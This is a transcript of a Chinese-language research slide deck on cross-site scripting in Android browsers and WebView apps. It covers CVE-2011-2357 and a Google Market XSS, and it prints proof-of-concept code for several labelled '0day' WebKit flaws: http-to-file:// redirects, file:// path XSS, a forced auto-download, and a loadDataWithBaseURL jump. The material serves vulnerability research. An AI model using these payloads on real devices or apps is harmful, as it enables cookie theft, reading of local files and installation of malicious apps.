XSS on Android

Download Report

Transcript XSS on Android

XSS on Android
陈爱华
XSS on Android
•
•
•
•
•
1、关于XSS
2、XSS on Desktop
3、XSS on Android Vs. XSS on Desktop
4、XSS on Android
5、下一步工作
XSS——Cross Site Scripting
• XSS漏洞:由于Web应用程序没有充分过滤用户输入内容,或者浏览
器没有充分过滤页面输出内容,导致的应用层安全漏洞。攻击者利用
XSS漏洞能访问受害者的敏感信息。
• 跨站:“站”
• XSS攻击三个步骤:
• 1、用户访问的访问的网站是一个存在XSS漏洞的网站。
• 2、攻击者发现该网站的XSS漏洞,向其中注入恶意代码,并诱导用
户点击访问。
• 3、用户访问了注入恶意代码的Web页面,恶意脚本在用户的浏览环
境中执行,攻击者的攻击目的达到。
• 漏洞利用:获取执行权限+执行恶意脚本。
• 有HTML、JavaScript的地方就可能有XSS。
XSS——Cross Site Scripting
• 攻击者利用XSS漏洞
劫持已通过验证的会
话。劫持到已验证的
会话后,攻击则拥有
该授权用户的所有权
限。
• 反射型XSS的攻击步
骤:
XSS on Desktop——检测、防御
• 服务端:漏洞扫描、代码审计等。
• 客户端:浏览器的安全机制、浏览器代码过滤器、
反病毒软件等。
• 客户端-服务端协作的方法。
• 我们的研究对象:客户端浏览器上的检测、过滤
机制。
4/8/2015
XSS filter in browser
以IE、Firefox、Chrome为例:
•
IE8:内置了一款无法卸载的Xss Filter,能够反射型跨站脚本攻击做比较好
的防护。http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-securitypart-iv-the-xss-filter.aspx
•
Firefox :NoScript,是一个免费、开源的,为 Mozilla Firefox所开发的
扩展(Add-ons)。NoScript 以白名单选择性执行 JavaScript、Java、
Flash、Sliverlight 以及其它插件和脚本内容。
•
Chrome: XSSAutior。
• PC浏览器端的XSS过滤机制相对饱满,相应的XSS过滤器已经形成产品并被广
泛使用。但随着移动互联网的普及,以及Android应用的日益广泛,Android
上的XSS防御处于未知状态,因此研究XSS on Android。.
XSS on Android Vs. XSS on
Desktop
• 相同之处:
都要执行html\js代码,所以都有存在XSS漏洞的可能。
• 不同之处:
1、SNS的Android App广泛使用,在一定程度上淡化了浏
览器的使用。
2、App中会引入html\js代码,可能存在XSS。
3、Android移动浏览器均是新开发的,安全机制尚不完善。
4、移动设备涉及更多的个人隐私信息。
• 因此,研究XSS on Android尤为重要。
XSS on Android
• 1、威胁
• 2、检测
XSS on Android——威胁
CVE :介绍CVE四个相关漏洞
未提交:
GoogleMarket漏洞
浏览器Webkit漏洞
客户端App漏洞(通过WebView控件引入html、js导
致)
其他:开发环境漏洞及利用
XSS on Android——威胁
• CVE:英文全称是“Common Vulnerabilities &
Exposures”公共漏洞和暴露。
• CVE就好比一个字典表,为广泛认同的信息安全
漏洞或者已经暴露出来的弱点给出一个公共的名
称和漏洞编号。使用漏洞名称和编号,可以帮助
用户在各自独立的各种漏洞数据库中和漏洞评估
工具中共享数据。这样就使得CVE成为了安全信
息共享的“关键字”。如果在一个漏洞报告中指
明的一个漏洞,如果有CVE名称,就可以快速地
在任何其它CVE兼容的数据库中找到相应修补的
信息,解决安全问题。
XSS on Android——威胁
• CVE四个相关漏洞:
• CVE-2012-0767,CVE-2011-2107:Windows、Mac OS
X、Linux、Android2.x、Android3.x中FlashPlayer的漏洞,
允许远程攻击者通过攻击向量向web叶面中注入html\js代
码。
• CVE-2011-2444:Windows、Mac OS X、Linux、
Android2.x、Android3.x中FlashPlayer的漏洞,允许远程
攻击者通过向精心构造的URL中注入Web脚本或html.
• CVE-2011-2357:Android中Intents机制的漏洞,导致
JS代码可以跨域在当前浏览器环境中执行。
XSS on Android——威胁
• CVE-2011-2357:2011年6月发现,并报告
谷歌,2011年7月发布补丁。
• 影响版本:Android 2.3.4、Android3.1。
• 产生原因:利用Android浏览器中Intents处
理机制的漏洞,导致可执行的JS代码能够
窃取浏览器保存的cookie等隐私信息,使手
机任意下载恶意应用。
XSS on Android——威胁
• CVE-2011-2357漏洞详情:Intents
• Intents:android应用程序的三大组件——Activities、Services、
Broadcast Receiver,通过Intents消息触发。
• Intents分为显式Intents(Explicit)和隐式Intents(Implicit)两类。
• 显式Intents:通过名字指定目标组件。因为开发者通常不知道其它应
用程序的组件名字,显式intent通常用于应用程序内部消息,如一个
活动启动从属的服务。
• 隐式Intenst:并不指定目标的名字(组件名字字段是空的)。隐式
intent经常用于激活其它应用程序中的组件。
• 详细信息:
http://www.cnblogs.com/skynet/archive/2010/07/20/1781644.html
XSS on Android——威胁
• CVE-2011-2357漏洞详情:Intents
• 对于Activities、Services、Broadcast Receiver这三大组件,均有独立的
•
传送intent的机制:
Activity:一个intent对象传递给Context.startActivity()或
Activity.startActivityForRestult()去启动一个活动或使一个已存在的活动去做
新的事情。
•
Service:一个intent对象传递给Context.startService()去初始化一个service或
传递一个新的指令给正在运行的service。类似的,一个intent可以传递给
Context.bindService()去建立调用组件和目标服务之间的连接。
•
Broadcast Receiver:一个intent对象传递给任何广播方法(如
Context.sendBroadcast(),Context.sendOrderedBroadcast(),
Context.sendStickyBroadcast()),都将传递到所有感兴趣的广播接收者。
•
在每种情况下,Android系统查找合适的activity、service、broadcast
receivers来响应意图
XSS on Android——威胁
• 攻击模型:
a、用户安装恶意应用。
b、 用户的浏览器存储cookie等登陆信息。
c、Android 自带的基于Webkit的浏览器是
http:/https:、javascript:VIEW Intents的默
认接收者。
XSS on Android——威胁
• CVE-2011-2357漏洞:
• 浏览器接收来自VIEW Intents的基于http:/https:/javascript:
的操作,可以加载页面、执行JS代码:
• 1、当浏览器接收查看http:/https: URI的Intent时,会打
开新的浏览器窗口并加载页面。
• 2、但当浏览器接收javascript: URI时,浏览器不会打开新
的浏览器窗口,而是在当前活动窗口中执行JS代码.
• 因此,JS的可执行代码能够在刚加载的页面中执行,导致
XSS漏洞。
XSS on Android——威胁
• CVE-2011-2357漏洞利用:
• 代码截图:
在https://market.android.com中会打印浏览器的
cookie信息。
XSS on Android——威胁
• CVE-2011-2357漏洞危害:危害严重,利用简单。
• 1、http:/https:/javascript:URIs的Intents执行过程不需要
任何权限。android.permission.Internet都不需要。
• 2、利用JS代码,攻击者可以窃取浏览器的cookie信息以
及会话id。
• 3、利用https://market.android.com攻击者能够在用户的
手机上安装任意应用程序。
• 4、即使Android Market使用token,攻击者也能够利用JS
读取token,然后向Android Market服务端应用程序安装请
求。
XSS on Android——威胁
• Google market本地存储型漏洞:
• 利用https://market.android.com页面对提交的app描述内
容的过滤不严格导致的google market本地存储型XSS漏
洞,可以直接通过js实现在手机上自动下载安装恶意apk
• 截图如下:
XSS on Android——威胁
• 浏览器的跨域漏洞:
• 对于PC平台上的经验来看,浏览器的跨域漏洞主要表现为2种类型:
•
i、http协议之间的跨域。主要体现在不利用应用程序xss漏洞的情况下,
利用浏览器本身处理javascript方面的漏洞实现跨站之间的数据读取等。
•
ii、通过http协议跨其他浏览器的伪协议。如http://-->file://
http://-->about:等浏览器支持的伪协议。对于这类漏洞利用存在有2个必要
条件:
a、http://可以调用目标伪协议(如http://调用file://在很多浏览器
是被禁止或者受限制的)。
b、目标协议可以执行注入的javasript(如实现协议本身的存在xss漏
洞,或者对于 file://来说我们可以写入任意html文件到本地然后调用)。
•
•
主要分析ii种情况。
XSS on Android——威胁
• 条件:a、http://-->file:
•
•
[0day-NO.1]、android-webkit跨协议漏洞:
android-webkit在处理转跳时存在漏洞,导致允许从http协议跨越其他的协议如file://协
议,实现跨域漏洞。POC如下:
•
•
•
•
•
•
•
•
•
•
•
•
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///default.prop";
}
setTimeout(init,5000)
</script>
location.php代码如下:
<?php
header("Location:file:///gesong.org");
?>
上面的代码实现了从http://到file://的跨越[android 4.0上已经不存在该漏洞]。
XSS on Android——威胁
• 条件: b、目标协议可以执行注入的javasript(如实现协议本身的
存在xss漏洞,或者对于 file://来说我们可以写入任意html文件到
本地然后调用)
• [0day-NO.2]、android-webkit的file://协议xss漏洞:
• android-webkit在实现file://打开不存在的文件给出的提示对文件
路径缺少过滤导致xss漏洞。
• POC如下:
• 地址访问file:///gesong.org/<script>alert(1);</script>
• 插入的代码<script>alert(1);</script>将被执行。
• 该漏洞只存在于: 1.6<android<4.0 。
XSS on Android——威胁
• 条件: b、自动下载文件
• [0day-NO.3]、android-browser和firefox自动下载文件漏洞:
•
adroid系统自带的浏览器com.android.browser在处理Content-Disposition:
attachment的时候,UI设计存在漏洞,导致可以自动下载文件到固定的本地
目录。POC如下:
•
•
•
•
•
•
•
•
•
•
•
•
•
<?
//autodown.php
header("Content-Disposition: attachment:filename=autodown.htm");
$data=<<<android_xss_go
<script>alert(/xss/);</script>
android_xss_go;
print $data;
?>
在上面的代码在不同的版本的android系统上是不一样的:
android 1.x 自动下载保存文件名为:/sdcard/download/autodown.html
android 2.x-3.x 自动下载保存文件名为:/sdcard/download/autodown.htm
android 4.0 自动下载保存文件名为:/sdcard/download/autodown.php
firefox 自动下载保存文件名为:/sdcard/download/autodown.php
XSS on Android——威胁
• 浏览器webkit跨域漏洞利用:
•
•
•
•
•
•
•
•
//[0day-NO.1]+[0day-NO.2]
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/";
}
setTimeout(init,5000)
</script>
•
•
•
•
•
•
•
•
•
•
POC[2]:
//[0day-NO.1]+[0day-NO.3]
<meta http-equiv=“refresh” content=“0;URL=autodown.php”/>
<iframe name=f src=”location.php“></iframe>
<script>
function init(){
f.location = "file:///sdcard/Download/autodown.htm";
}
setTimeout(init,5000)
</script>
XSS on Android——威胁
• 通过以上跨域漏洞可以实现:
• 1、跨域http。
• 2、跨越market.android.com实现自动下载
安装恶意apk。
• 3、挖掘本地文件。处在file://域下,在
webkit里可以通过xmlhttp读取本地文件,
获取有价值的信息。
XSS on Android——威胁
• 应用程序(apk)漏洞:
• 在Android系统中,浏览器本质上是一个应用程序,
只是浏览器本身存在的原因就是处理html/js等元
素。由于google采用的应用程序化的机制,直接
削弱了浏览器的使用。各大SNS的网络都推出了
基于apk的应用程序客服端,所以还需关注应用程
序里的xss。
XSS on Android——威胁
• android应用开发里要引用html/js的方法目前比较常用就的
是调用webview控件来实现
• webview控件在load网页时有3种方式:
•
(1)、webview.loadUrl(url);
•
(2)、webview.loadData(data, "text/html", "utf-8");
•
(3)、webview.loadDataWithBaseURL(baseUrl, data,
"text/html", "utf-8", null);
• 另外webview默认是不支持js的,要支持js还必须
webSetting进行设置:
webSetting.setJavaScriptEnabled(true);
XSS on Android——威胁
• (1)、webview.loadUrl(url);对于这种方式,js执行的
domain取决于url的domain。
• 此时这个webview就相当于一个基于android-webkit的第
三方外壳浏览器,因此url也可以是file://和javascript:等伪
协议。
• 该方式存在的xss漏洞,严重程度完全取决于参数url。如
果在应用程序里这个url可以控制,那么我们可以直接指定
它到file://那么所有的攻击又回到了浏览器里跨域的利用方
式了。当然,当只可以在http://下时上面提到的androidwebkit的漏洞都是一样的。
XSS on Android——威胁
• (2)、webview.loadData(data, "text/html", "utf-8");
• 这种调用方式就相当于在浏览器里使用
"data:text/html;<html>"伪协议。
• 及时在应用程序里可以控制第一个参数data导致xss漏洞
,那它执行的js的域也是在空白域,如果不使用webkit的
漏洞,基本上是没有太多办法跨域的。
• 因此目前这种类型的xss基本就只有靠webkit的漏洞的来
实现跨域。
XSS on Android——威胁
• (3)、webview.loadDataWithBaseURL(baseUrl, data,
"text/html", "utf-8", null);
• 相比上面2个函数,这个函数可以控制Url及执行的data。
那么这样的方式导致的xss漏洞,执行域也取决于baseUrl
,这个相比(1)里的url来说,它可以是其他随意的“域” 如
:
• webview.loadDataWithBaseURL(“aaa”, data, "text/html",
"utf-8", null);
• 那么他执行的js就是在"aaa"域下。对于这样的方式好像也
没有太多的利用,不过这个方式可以通过转跳到任意域包
括file://。
XSS on Android——威胁
• [0day-NO.4]、webview.loadDataWithBaseURL()跨协
议漏洞
•
webview.loadDataWithBaseURL()在可以控制第2个参数的情况下,可以通过
js转跳来跨越其他的协议如file://协议,导致跨域漏洞:
•
•
•
•
•
•
WebView webview;
webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
webview.setWebChromeClient(new WebChromeClient());
String data="80vul<script>window.location='file://///default.prop';</script>";
webview.loadDataWithBaseURL("http://www.baidu.com/", data, "text/html",
"utf-8", null);
•
所以在实际apk可以通过loadDataWithBaseURL导致xss的利用。
XSS on Android——威胁
其他:开发环境漏洞及利用。
Eclipse的浏览器在windows下直接调用IE内核来实现的,
而在非windows下使用的是WEBKit核心的浏览器。
对于这样的简陋的浏览器安全防御薄弱。具体在Eclipse里,
有个致命的问题那就是,当开发者点击html文件时,默认
情况下,它调用的不是编辑界面,而是浏览器里运行!
而且是没有任何安全提示下通过file://伪协议下执行html文
件里的javascript代码,这意味着一个“跨域”漏洞可能....
XSS on Android——威胁
• 总结:
• 因为一般的SNS的apk应用都是采用网络api的方式验证登
录的,所以传统的得到cookie的方式基本上没有什么意义!
对于在http://下跨域非常有限。
• 所以Android上的XSS漏洞大体上利用如下:
• 1、利用googleplay的漏洞,下载恶意应用。
• 2、利用Android中处理http、https、javascript机制的缺陷,
执行恶意脚本。
• 3、利用webkit的漏洞实现跨file://伪协议。
• 4、利用webview引入html\js的函数实现跨域。
• 研究Android中webkit的工作机制是核心。
下一步工作
• 1、Android中webkit的详细工作流程。
• 2、Android的内嵌浏览器以及其他移动浏
览器中对XSS的防御机制。
谢谢!